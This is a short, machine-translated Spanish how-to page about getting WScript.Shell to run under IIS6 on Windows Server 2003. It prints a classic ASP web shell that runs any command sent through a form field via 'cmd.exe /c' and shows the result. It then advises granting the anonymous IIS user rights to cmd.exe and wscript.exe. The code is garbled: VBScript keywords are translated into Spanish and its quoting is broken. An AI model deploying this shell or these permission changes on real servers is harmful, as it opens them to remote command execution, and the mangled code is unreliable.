Wscript.shell run No permission solution

  

Este problema ocurrió hoy cuando obtuve un programa de línea de comandos del cliente en el servidor. Más tarde, después de varias pruebas, se resolvió este problema.

Plataforma de prueba: windows server 2003 sp2 + iis6

El código de prueba es el siguiente:

< title > ASP Shell < /title > <% @ Language = VBScript CodePage = " 936 "% > <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume p> Establezca oScript = Server.CreateObject (" WSCRIPT.SHELL ") Establezca oFileSys = Server.CreateObject (" Scripting.FileSystemObject ")

szCMD = Request.Form ( " .CMD ") Si (szCMD < > " ") Entonces szTempFile = Server.Mappath (oFileSys.GetTempName ()) Call oScript.Run (&Quot; cmd.exe /c " &szCMD &" > " amp; szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile) , 1, False, 0) End If% > < HTML > < BODY > < FORM action = " <% = Request.ServerVariables (" URL ")% > &; método; " POST " > < tipo de entrada = nombre de texto = ". .CMD " = valor = 45 = valor de " <% = szCMD% > " > < tipo de entrada = enviar valor = " comando command " > < /FORM > ≪ PRE > <% If (IsObject (oFile)) Luego, en caso de error, se reanuda la siguiente respuesta.Write Server.HTMLEncode (oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile (szTempFile, True) End If% > < /BODY > < /HTML >

Otorgue los permisos cmd.exe y wscript.exe al nombre de la máquina iuser_xxx en el directorio raíz del sistema, a la carpeta actual Leer y escribir permisos. Luego reinicie IIS.

Copyright © Conocimiento de Windows All Rights Reserved